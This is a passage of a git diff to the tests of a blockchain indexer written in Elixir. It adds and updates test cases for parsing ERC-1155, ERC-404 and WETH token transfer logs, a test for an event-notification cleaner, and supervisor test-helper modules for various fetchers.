7_237_005_577_332_282_011_952_059_972_634_123_378_909_214_838_582_411_639_295_170_840_059_424_276_480, + token_ids: [ + 7_237_005_577_332_282_011_952_059_972_634_123_378_909_214_838_582_411_639_295_170_840_059_424_276_480 + ], token_type: "ERC-1155", transaction_hash: "0x6d2dd62c178e55a13b65601f227c4ffdd8aa4e3bcb1f24731363b4f7619e92c8" } @@ -180,13 +240,12 @@ defmodule Indexer.Transform.TokenTransfersTest do data: "0x000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000001388", first_topic: "0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb", - secon_topic: "0x0000000000000000000000006c943470780461b00783ad530a53913bd2c104d3", + second_topic: "0x0000000000000000000000006c943470780461b00783ad530a53913bd2c104d3", third_topic: "0x0000000000000000000000006c943470780461b00783ad530a53913bd2c104d3", fourth_topic: "0x0000000000000000000000006c943470780461b00783ad530a53913bd2c104d3", index: 2, transaction_hash: "0x6d2dd62c178e55a13b65601f227c4ffdd8aa4e3bcb1f24731363b4f7619e92c8", - block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca", - type: "mined" + block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca" } assert TokenTransfers.parse([log]) == %{ @@ -198,7 +257,6 @@ defmodule Indexer.Transform.TokenTransfersTest do log_index: 2, to_address_hash: "0x6c943470780461b00783ad530a53913bd2c104d3", token_contract_address_hash: "0x58Ab73CB79c8275628E0213742a85B163fE0A9Fb", - token_id: nil, token_ids: [680_564_733_841_876_926_926_749_214_863_536_422_912], token_type: "ERC-1155", transaction_hash: "0x6d2dd62c178e55a13b65601f227c4ffdd8aa4e3bcb1f24731363b4f7619e92c8", @@ -209,6 +267,27 @@ defmodule Indexer.Transform.TokenTransfersTest do } end + test "parses erc1155 batch token transfer with empty ids/values" do + log = %{ + address_hash: "0x598AF04C88122FA4D1e08C5da3244C39F10D4F14", + block_number: 9_065_059, + data: + "0x0000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", + first_topic: "0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb", + second_topic: "0x81D0caF80E9bFfD9bF9c641ab964feB9ef69069e", + third_topic: "0x598AF04C88122FA4D1e08C5da3244C39F10D4F14", + fourth_topic: "0x0000000000000000000000000000000000000000", + index: 6, + transaction_hash: "0xa6ad6588edb4abd8ca45f30d2f026ba20b68a3002a5870dbd30cc3752568483b", + block_hash: "0x61b720e40f8c521edd77a52cabce556c18b18b198f78e361f310003386ff1f02" + } + + assert TokenTransfers.parse([log]) == %{ + token_transfers: [], + tokens: [] + } + end + test "logs error with unrecognized token transfer format" do log = %{ address_hash: "0x58Ab73CB79c8275628E0213742a85B163fE0A9Fb", @@ -220,13 +299,295 @@ defmodule Indexer.Transform.TokenTransfersTest do index: 2, second_topic: nil, third_topic: nil, - transaction_hash: "0x6d2dd62c178e55a13b65601f227c4ffdd8aa4e3bcb1f24731363b4f7619e92c8", - type: "mined" + transaction_hash: "0x6d2dd62c178e55a13b65601f227c4ffdd8aa4e3bcb1f24731363b4f7619e92c8" } error = capture_log(fn -> %{tokens: [], token_transfers: []} = TokenTransfers.parse([log]) end) assert error =~ ~r"unknown token transfer"i end + + test "token type from database is preferred if the incoming one is different" do + %{contract_address_hash: hash} = insert(:token, type: "ERC-1155") + + contract_address_hash = to_string(hash) + + log = %{ + address_hash: contract_address_hash, + block_number: 3_530_917, + block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca", + data: "0x000000000000000000000000000000000000000000000000ebec21ee1da40000", + first_topic: "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", + fourth_topic: nil, + index: 8, + second_topic: "0x000000000000000000000000556813d9cc20acfe8388af029a679d34a63388db", + third_topic: "0x00000000000000000000000092148dd870fa1b7c4700f2bd7f44238821c26f73", + transaction_hash: "0x43dfd761974e8c3351d285ab65bee311454eb45b149a015fe7804a33252f19e5" + } + + assert %{ + token_transfers: [%{token_contract_address_hash: ^contract_address_hash, token_type: "ERC-20"}], + tokens: [%{contract_address_hash: ^contract_address_hash, type: "ERC-1155"}] + } = TokenTransfers.parse([log]) + end + + test "if there are transfers of different token types, the highest priority will be selected for all" do + contract_address_hash = "0x0000000000000000000000000000000000000001" + + logs = [ + %{ + address_hash: contract_address_hash, + block_number: 3_530_917, + block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca", + data: "0x000000000000000000000000000000000000000000000000ebec21ee1da40000", + first_topic: "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", + fourth_topic: nil, + index: 8, + second_topic: "0x000000000000000000000000556813d9cc20acfe8388af029a679d34a63388db", + third_topic: "0x00000000000000000000000092148dd870fa1b7c4700f2bd7f44238821c26f73", + transaction_hash: "0x43dfd761974e8c3351d285ab65bee311454eb45b149a015fe7804a33252f19e5" + }, + %{ + address_hash: contract_address_hash, + block_number: 3_530_917, + data: + "0x1000000000000c520000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001", + first_topic: "0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62", + second_topic: "0x0000000000000000000000009c978f4cfa1fe13406bcc05baf26a35716f881dd", + third_topic: "0x0000000000000000000000009c978f4cfa1fe13406bcc05baf26a35716f881dd", + fourth_topic: "0x0000000000000000000000009c978f4cfa1fe13406bcc05baf26a35716f881dd", + index: 2, + transaction_hash: "0x43dfd761974e8c3351d285ab65bee311454eb45b149a015fe7804a33252f19e5", + block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca" + } + ] + + assert %{ + token_transfers: [ + %{token_contract_address_hash: ^contract_address_hash, token_type: "ERC-1155"}, + %{token_contract_address_hash: ^contract_address_hash, token_type: "ERC-20"} + ], + tokens: [%{contract_address_hash: ^contract_address_hash, type: "ERC-1155"}] + } = TokenTransfers.parse(logs) + end + + test "parses erc404 token transfer from ERC20Transfer" do + log = %{ + address_hash: "0x03F6CCfCE60273eFbEB9535675C8EFA69D863f37", + block_number: 10_561_358, + data: "0x00000000000000000000000000000000000000000000003635c9adc5de9ffc48", + first_topic: "0xe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e031487", + second_topic: "0x000000000000000000000000c36442b4a4522e871399cd717abdd847ab11fe88", + third_topic: "0x00000000000000000000000018336808ed2f2c80795861041f711b299ecd38ca", + fourth_topic: nil, + index: 34, + transaction_hash: "0x6be468f465911ec70103aa83e38c84697848feaf760eee3a181ebcdcab82dc4a", + block_hash: "0x7cffabfd975bded1ec397f44b4af3a97618b96ca0e2f92d70a3025ba233815ca" + } + + assert TokenTransfers.parse([log]) == %{ + token_transfers: [ + %{ + block_hash: "0x7cffabfd975bded1ec397f44b4af3a97618b96ca0e2f92d70a3025ba233815ca", + block_number: 10_561_358, + from_address_hash: "0xc36442b4a4522e871399cd717abdd847ab11fe88", + log_index: 34, + to_address_hash: "0x18336808ed2f2c80795861041f711b299ecd38ca", + token_contract_address_hash: "0x03F6CCfCE60273eFbEB9535675C8EFA69D863f37", + amounts: [ + 999_999_999_999_999_999_048 + ], + token_ids: [], + token_type: "ERC-404", + transaction_hash: "0x6be468f465911ec70103aa83e38c84697848feaf760eee3a181ebcdcab82dc4a" + } + ], + tokens: [ + %{ + contract_address_hash: "0x03F6CCfCE60273eFbEB9535675C8EFA69D863f37", + type: "ERC-404" + } + ] + } + end + + test "parses erc404 token transfer from ERC721Transfer" do + log = %{ + address_hash: "0x68995c84aFb019913942E53F27E7ceA47D86Cd9d", + block_number: 10_514_498, + data: "0x", + first_topic: "0xe5f815dc84b8cecdfd4beedfc3f91ab5be7af100eca4e8fb11552b867995394f", + second_topic: "0x000000000000000000000000fd7ec4d8b6ba1a72f3895b6ce3846b00d6b83aab", + third_topic: "0x0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d", + fourth_topic: "0x000000000000000000000000000000000000000000000000000000000000000a", + index: 41, + transaction_hash: "0xe201aed9c948f46395c6acc54de5e9c3ebe0c41a5c34cc6a507b67ec46057c55", + block_hash: "0xea065ff2fc04177bbef27317209a25f2633199aa453b86ee405b619c495b2e77" + } + + assert TokenTransfers.parse([log]) == %{ + token_transfers: [ + %{ + block_hash: "0xea065ff2fc04177bbef27317209a25f2633199aa453b86ee405b619c495b2e77", + block_number: 10_514_498, + from_address_hash: "0xfd7ec4d8b6ba1a72f3895b6ce3846b00d6b83aab", + log_index: 41, + to_address_hash: "0x7a250d5630b4cf539739df2c5dacb4c659f2488d", + token_contract_address_hash: "0x68995c84aFb019913942E53F27E7ceA47D86Cd9d", + amounts: [], + token_ids: [10], + token_type: "ERC-404", + transaction_hash: "0xe201aed9c948f46395c6acc54de5e9c3ebe0c41a5c34cc6a507b67ec46057c55" + } + ], + tokens: [ + %{ + contract_address_hash: "0x68995c84aFb019913942E53F27E7ceA47D86Cd9d", + type: "ERC-404" + } + ] + } + end + + test "Filters WETH transfers from not whitelisted tokens" do + logs = [ + %{ + address_hash: "0x0BE9e53fd7EDaC9F859882AfdDa116645287C629", + block_number: 23_704_638, + block_hash: "0x8f61c99b0dd1196714ffda5bf979a282e6a62fdd3cff25c291284e6b57de2106", + data: "0x00000000000000000000000000000000000000000000002be19edfcf6b480000", + first_topic: "0xe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c", + second_topic: "0x000000000000000000000000fb76e9e7d88e308ab530330ed90e84a952570319", + third_topic: nil, + fourth_topic: nil, + index: 1, + transaction_hash: "0x185889bc91372106ecf114a4e23f4ee615e131ae3e698078bd5d2ed7e3f55a49" + }, + %{ + address_hash: "0x0BE9e53fd7EDaC9F859882AfdDa116645287C629", + block_number: 23_704_608, + block_hash: "0x5a5e69984f78d65fc6d92e18058d21a9b114f1d56d06ca7aa017b3d87bf0491a", + data: "0x00000000000000000000000000000000000000000000000000e1315e1ebd28e8", + first_topic: "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65", + second_topic: "0x000000000000000000000000e3f85aad0c8dd7337427b9df5d0fb741d65eeeb5", + third_topic: nil, + fourth_topic: nil, + index: 1, + transaction_hash: "0x07510dbfddbac9064f7d607c2d9a14aa26fa19cdfcd578c0b585ff2395df543f" + } + ] + + expected = %{token_transfers: [], tokens: []} + + assert TokenTransfers.parse(logs) == expected + end + + test "Filters duplicates WETH transfers" do + [log_1, _weth_deposit_log, log_2, _weth_withdrawal_log] = + logs = [ + %{ + address_hash: "0x0BE9e53fd7EDaC9F859882AfdDa116645287C629", + block_number: 23_704_638, + block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca", + data: "0x00000000000000000000000000000000000000000000002be19edfcf6b480000", + first_topic: "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", + fourth_topic: nil, + index: 1, + second_topic: "0x0000000000000000000000000000000000000000000000000000000000000000", + third_topic: "0x000000000000000000000000fb76e9e7d88e308ab530330ed90e84a952570319", + transaction_hash: "0x4011d9a930a3da620321589a54dc0ca3b88216b4886c7a7c3aaad1fb17702d35" + }, + %{ + address_hash: "0x0BE9e53fd7EDaC9F859882AfdDa116645287C629", + block_number: 23_704_638, + block_hash: "0x79594150677f083756a37eee7b97ed99ab071f502104332cb3835bac345711ca", + data: "0x00000000000000000000000000000000000000000000002be19edfcf6b480000", + first_topic: "0xe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c", + second_topic: "0x000000000000000000000000fb76e9e7d88e308ab530330ed90e84a952570319", + third_topic: nil, + fourth_topic: nil, + index: 2, + transaction_hash: "0x4011d9a930a3da620321589a54dc0ca3b88216b4886c7a7c3aaad1fb17702d35" + }, + %{ + address_hash: "0xf2eec76e45b328df99a34fa696320a262cb92154", + block_number: 3_530_917, + block_hash: "0x5a5e69984f78d65fc6d92e18058d21a9b114f1d56d06ca7aa017b3d87bf0491a", + data: "0x00000000000000000000000000000000000000000000000000e1315e1ebd28e8", + first_topic: "0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef", + fourth_topic: nil, + index: 8, + second_topic: "0x000000000000000000000000e3f85aad0c8dd7337427b9df5d0fb741d65eeeb5", + third_topic: "0x0000000000000000000000000000000000000000000000000000000000000000", + transaction_hash: "0x185889bc91372106ecf114a4e23f4ee615e131ae3e698078bd5d2ed7e3f55a49" + }, + %{ + address_hash: "0xf2eec76e45b328df99a34fa696320a262cb92154", + block_number: 3_530_917, + block_hash: "0x5a5e69984f78d65fc6d92e18058d21a9b114f1d56d06ca7aa017b3d87bf0491a", + data: "0x00000000000000000000000000000000000000000000000000e1315e1ebd28e8", + first_topic: "0x7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65", + second_topic: "0x000000000000000000000000e3f85aad0c8dd7337427b9df5d0fb741d65eeeb5", + third_topic: nil, + fourth_topic: nil, + index: 1, + transaction_hash: "0x185889bc91372106ecf114a4e23f4ee615e131ae3e698078bd5d2ed7e3f55a49" + } + ] + + expected = %{ + tokens: [ + %{ + contract_address_hash: log_2.address_hash, + type: "ERC-20" + }, + %{ + contract_address_hash: log_1.address_hash, + type: "ERC-20" + } + ], + token_transfers: [ + %{ + token_ids: nil, + amount: Decimal.new(63_386_150_072_297_704), + block_number: log_2.block_number, + log_index: log_2.index, + from_address_hash: truncated_hash(log_2.second_topic), + to_address_hash: truncated_hash(log_2.third_topic), + token_contract_address_hash: log_2.address_hash, + transaction_hash: log_2.transaction_hash, + token_type: "ERC-20", + block_hash: log_2.block_hash + }, + %{ + block_number: log_1.block_number, + log_index: log_1.index, + from_address_hash: truncated_hash(log_1.second_topic), + to_address_hash: truncated_hash(log_1.third_topic), + token_contract_address_hash: log_1.address_hash, + token_ids: nil, + transaction_hash: log_1.transaction_hash, + token_type: "ERC-20", + block_hash: log_1.block_hash, + amount: Decimal.new(809_467_672_956_315_893_760) + } + ] + } + + env = Application.get_env(:explorer, Explorer.Chain.TokenTransfer) + + Application.put_env( + :explorer, + Explorer.Chain.TokenTransfer, + Keyword.put(env, :whitelisted_weth_contracts, [ + log_1.address_hash |> to_string() |> String.downcase(), + log_2.address_hash |> to_string() |> String.downcase() + ]) + ) + + assert TokenTransfers.parse(logs) == expected + + Application.put_env(:explorer, Explorer.Chain.TokenTransfer, env) + end end defp truncated_hash("0x000000000000000000000000" <> rest) do diff --git a/apps/indexer/test/indexer/utils/event_notifications_cleaner_test.exs b/apps/indexer/test/indexer/utils/event_notifications_cleaner_test.exs new file mode 100644 index 000000000000..d1352dbbd012 --- /dev/null +++ b/apps/indexer/test/indexer/utils/event_notifications_cleaner_test.exs @@ -0,0 +1,98 @@ +defmodule Indexer.Utils.EventNotificationsCleanerTest do + use Explorer.DataCase + + alias Explorer.Repo.EventNotifications, as: EventNotificationsRepo + alias Explorer.Utility.EventNotification + alias Indexer.Utils.EventNotificationsCleaner + + import Ecto.Query + + setup do + # Store original config + original_config = Application.get_env(:indexer, EventNotificationsCleaner) + + # Restore original config after each test + on_exit(fn -> + Application.put_env(:indexer, EventNotificationsCleaner, original_config) + end) + + :ok + end + + describe "start_link/1" do + test "starts the GenServer with the given name" do + assert {:ok, pid} = EventNotificationsCleaner.start_link([]) + assert Process.alive?(pid) + Process.exit(pid, :normal) + end + end + + describe "clean_up_event_notifications/0" do + test "deletes notifications older than max_age" do + # Create notifications with different timestamps + old_time = DateTime.utc_now() |> DateTime.add(-2000, :millisecond) + new_time = DateTime.utc_now() |> DateTime.add(-500, :millisecond) + + build(:event_notification, data: "old_data", inserted_at: old_time) |> EventNotificationsRepo.insert() + build(:event_notification, data: "new_data", inserted_at: new_time) |> EventNotificationsRepo.insert() + + # Verify both notifications exist + assert EventNotificationsRepo.aggregate(EventNotification, :count) == 2 + + # Set configuration for max_age of 1000ms + config = Application.get_env(:indexer, EventNotificationsCleaner) + Application.put_env(:indexer, EventNotificationsCleaner, Keyword.put(config, :max_age, 1000)) + + assert {:ok, _pid} = EventNotificationsCleaner.start_link([]) + Process.sleep(500) + + # Verify only the old notification was deleted + assert EventNotificationsRepo.aggregate(EventNotification, :count) == 1 + remaining = EventNotificationsRepo.one(from(n in EventNotification, select: n.data)) + assert remaining == "new_data" + end + + test "deletes multiple old notifications" do + old_time = DateTime.utc_now() |> DateTime.add(-2000, :millisecond) + + # Insert multiple old notifications + build_list(3, :event_notification, inserted_at: old_time) |> Enum.map(&EventNotificationsRepo.insert(&1)) + + # Insert one new notification + build(:event_notification, data: "new_data") |> EventNotificationsRepo.insert() + + # Verify all notifications exist + assert EventNotificationsRepo.aggregate(EventNotification, :count) == 4 + + # Set configuration + config = Application.get_env(:indexer, EventNotificationsCleaner) + Application.put_env(:indexer, EventNotificationsCleaner, Keyword.put(config, :max_age, 1000)) + + assert {:ok, _pid} = EventNotificationsCleaner.start_link([]) + Process.sleep(500) + + # Verify only the new notification remains + assert EventNotificationsRepo.aggregate(EventNotification, :count) == 1 + remaining = EventNotificationsRepo.one(from(n in EventNotification, select: n.data)) + assert remaining == "new_data" + end + + test "does not delete notifications when none are old enough" do + # Insert only new notifications + build_list(3, :event_notification) |> Enum.map(&EventNotificationsRepo.insert(&1)) + + # Verify notifications exist + assert EventNotificationsRepo.aggregate(EventNotification, :count) == 3 + + # Set configuration + config = Application.get_env(:indexer, EventNotificationsCleaner) + Application.put_env(:indexer, EventNotificationsCleaner, Keyword.put(config, :max_age, 1000)) + + assert {:ok, _pid} = EventNotificationsCleaner.start_link([]) + Process.sleep(500) + + # Verify all notifications still exist + assert EventNotificationsRepo.aggregate(EventNotification, :count) == 3 + end + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/beacon_blob_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/beacon_blob_supervisor_case.ex new file mode 100644 index 000000000000..661b7ce3133d --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/beacon_blob_supervisor_case.ex @@ -0,0 +1,18 @@ +defmodule Indexer.Fetcher.Beacon.Blob.Supervisor.Case do + alias Indexer.Fetcher.Beacon.Blob + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + merged_fetcher_arguments = + Keyword.merge( + fetcher_arguments, + flush_interval: 50, + max_batch_size: 1, + max_concurrency: 1, + poll: false + ) + + [merged_fetcher_arguments] + |> Blob.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/beacon_deposit_status_supervisor_test.ex b/apps/indexer/test/support/indexer/fetcher/beacon_deposit_status_supervisor_test.ex new file mode 100644 index 000000000000..c23e6d61607c --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/beacon_deposit_status_supervisor_test.ex @@ -0,0 +1,9 @@ +defmodule Indexer.Fetcher.Beacon.Deposit.Status.Supervisor.Case do + alias Indexer.Fetcher.Beacon.Deposit.Status + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + [fetcher_arguments] + |> Status.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/beacon_deposit_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/beacon_deposit_supervisor_case.ex new file mode 100644 index 000000000000..ef525dcc7650 --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/beacon_deposit_supervisor_case.ex @@ -0,0 +1,9 @@ +defmodule Indexer.Fetcher.Beacon.Deposit.Supervisor.Case do + alias Indexer.Fetcher.Beacon.Deposit + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + [fetcher_arguments] + |> Deposit.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/block_reward_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/block_reward_supervisor_case.ex index 95ac8836072f..f6678cc715c7 100644 --- a/apps/indexer/test/support/indexer/fetcher/block_reward_supervisor_case.ex +++ b/apps/indexer/test/support/indexer/fetcher/block_reward_supervisor_case.ex @@ -7,7 +7,8 @@ defmodule Indexer.Fetcher.BlockReward.Supervisor.Case do fetcher_arguments, flush_interval: 50, max_batch_size: 1, - max_concurrency: 1 + max_concurrency: 1, + poll: false ) [merged_fetcher_arguments] diff --git a/apps/indexer/test/support/indexer/fetcher/celo_epoch_rewards_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/celo_epoch_rewards_supervisor_case.ex new file mode 100644 index 000000000000..507981237dd2 --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/celo_epoch_rewards_supervisor_case.ex @@ -0,0 +1,17 @@ +defmodule Indexer.Fetcher.Celo.EpochBlockOperations.Supervisor.Case do + alias Indexer.Fetcher.Celo.EpochBlockOperations + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + merged_fetcher_arguments = + Keyword.merge( + fetcher_arguments, + flush_interval: 50, + max_batch_size: 1, + max_concurrency: 1 + ) + + [merged_fetcher_arguments] + |> EpochBlockOperations.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/coin_balance_catchup_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/coin_balance_catchup_supervisor_case.ex new file mode 100644 index 000000000000..69ec7825616f --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/coin_balance_catchup_supervisor_case.ex @@ -0,0 +1,19 @@ +defmodule Indexer.Fetcher.CoinBalance.Catchup.Supervisor.Case do + alias Indexer.Fetcher.CoinBalance.Catchup + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + merged_fetcher_arguments = + Keyword.merge( + [ + flush_interval: 50, + max_batch_size: 1, + max_concurrency: 1 + ], + fetcher_arguments + ) + + [merged_fetcher_arguments] + |> Catchup.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/coin_balance_realtime_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/coin_balance_realtime_supervisor_case.ex new file mode 100644 index 000000000000..878f6ea7f3f0 --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/coin_balance_realtime_supervisor_case.ex @@ -0,0 +1,17 @@ +defmodule Indexer.Fetcher.CoinBalance.Realtime.Supervisor.Case do + alias Indexer.Fetcher.CoinBalance.Realtime + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + merged_fetcher_arguments = + Keyword.merge( + fetcher_arguments, + flush_interval: 50, + max_batch_size: 1, + max_concurrency: 1 + ) + + [merged_fetcher_arguments] + |> Realtime.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/coin_balance_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/coin_balance_supervisor_case.ex deleted file mode 100644 index 6e2a9e22afc9..000000000000 --- a/apps/indexer/test/support/indexer/fetcher/coin_balance_supervisor_case.ex +++ /dev/null @@ -1,17 +0,0 @@ -defmodule Indexer.Fetcher.CoinBalance.Supervisor.Case do - alias Indexer.Fetcher.CoinBalance - - def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do - merged_fetcher_arguments = - Keyword.merge( - fetcher_arguments, - flush_interval: 50, - max_batch_size: 1, - max_concurrency: 1 - ) - - [merged_fetcher_arguments] - |> CoinBalance.Supervisor.child_spec() - |> ExUnit.Callbacks.start_supervised!() - end -end diff --git a/apps/indexer/test/support/indexer/fetcher/filecoin_native_address_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/filecoin_native_address_supervisor_case.ex new file mode 100644 index 000000000000..6f46db11c5cd --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/filecoin_native_address_supervisor_case.ex @@ -0,0 +1,17 @@ +defmodule Indexer.Fetcher.Filecoin.AddressInfo.Supervisor.Case do + alias Indexer.Fetcher.Filecoin.AddressInfo + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + merged_fetcher_arguments = + Keyword.merge( + fetcher_arguments, + flush_interval: 50, + max_batch_size: 1, + max_concurrency: 1 + ) + + [merged_fetcher_arguments] + |> AddressInfo.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/internal_transaction_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/internal_transaction_supervisor_case.ex index b067997b5fbf..0c3ba2be7358 100644 --- a/apps/indexer/test/support/indexer/fetcher/internal_transaction_supervisor_case.ex +++ b/apps/indexer/test/support/indexer/fetcher/internal_transaction_supervisor_case.ex @@ -4,11 +4,13 @@ defmodule Indexer.Fetcher.InternalTransaction.Supervisor.Case do def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do merged_fetcher_arguments = Keyword.merge( - fetcher_arguments, - flush_interval: 50, - max_batch_size: 1, - max_concurrency: 1, - poll: false + [ + flush_interval: 50, + max_batch_size: 1, + max_concurrency: 1, + poll: false + ], + fetcher_arguments ) [merged_fetcher_arguments] diff --git a/apps/indexer/test/support/indexer/fetcher/on_demand/coin_balance_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/on_demand/coin_balance_supervisor_case.ex new file mode 100644 index 000000000000..4108763d3db8 --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/on_demand/coin_balance_supervisor_case.ex @@ -0,0 +1,20 @@ +defmodule Indexer.Fetcher.OnDemand.CoinBalance.Supervisor.Case do + alias Indexer.Fetcher.OnDemand.CoinBalance + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + merged_fetcher_arguments = + Keyword.merge( + [ + flush_interval: 50, + max_batch_size: 1, + max_concurrency: 1, + poll: false + ], + fetcher_arguments + ) + + [merged_fetcher_arguments] + |> CoinBalance.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/on_demand/token_balance_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/on_demand/token_balance_supervisor_case.ex new file mode 100644 index 000000000000..b4f017f03b27 --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/on_demand/token_balance_supervisor_case.ex @@ -0,0 +1,20 @@ +defmodule Indexer.Fetcher.OnDemand.TokenBalance.Supervisor.Case do + alias Indexer.Fetcher.OnDemand.TokenBalance + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + merged_fetcher_arguments = + Keyword.merge( + [ + flush_interval: 50, + max_batch_size: 1, + max_concurrency: 1, + poll: false + ], + fetcher_arguments + ) + + [merged_fetcher_arguments] + |> TokenBalance.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/rootstock_data_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/rootstock_data_supervisor_case.ex new file mode 100644 index 000000000000..d58f3c5f10cd --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/rootstock_data_supervisor_case.ex @@ -0,0 +1,17 @@ +defmodule Indexer.Fetcher.RootstockData.Supervisor.Case do + alias Indexer.Fetcher.RootstockData + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + merged_fetcher_arguments = + Keyword.merge( + fetcher_arguments, + interval: 1, + batch_size: 1, + max_concurrency: 1 + ) + + [merged_fetcher_arguments] + |> RootstockData.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/signed_authorization_status_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/signed_authorization_status_supervisor_case.ex new file mode 100644 index 000000000000..371f9e49b32d --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/signed_authorization_status_supervisor_case.ex @@ -0,0 +1,17 @@ +defmodule Indexer.Fetcher.SignedAuthorizationStatus.Supervisor.Case do + alias Indexer.Fetcher.SignedAuthorizationStatus + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + merged_fetcher_arguments = + Keyword.merge( + fetcher_arguments, + flush_interval: 50, + max_batch_size: 2, + max_concurrency: 2 + ) + + [merged_fetcher_arguments] + |> SignedAuthorizationStatus.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/support/indexer/fetcher/withdrawal_supervisor_case.ex b/apps/indexer/test/support/indexer/fetcher/withdrawal_supervisor_case.ex new file mode 100644 index 000000000000..2f419efcc852 --- /dev/null +++ b/apps/indexer/test/support/indexer/fetcher/withdrawal_supervisor_case.ex @@ -0,0 +1,17 @@ +defmodule Indexer.Fetcher.Withdrawal.Supervisor.Case do + alias Indexer.Fetcher.Withdrawal + + def start_supervised!(fetcher_arguments \\ []) when is_list(fetcher_arguments) do + merged_fetcher_arguments = + Keyword.merge( + fetcher_arguments, + interval: 1, + max_batch_size: 1, + max_concurrency: 1 + ) + + [merged_fetcher_arguments] + |> Withdrawal.Supervisor.child_spec() + |> ExUnit.Callbacks.start_supervised!() + end +end diff --git a/apps/indexer/test/test_helper.exs b/apps/indexer/test/test_helper.exs index 0df43337026a..a14c7297ce32 100644 --- 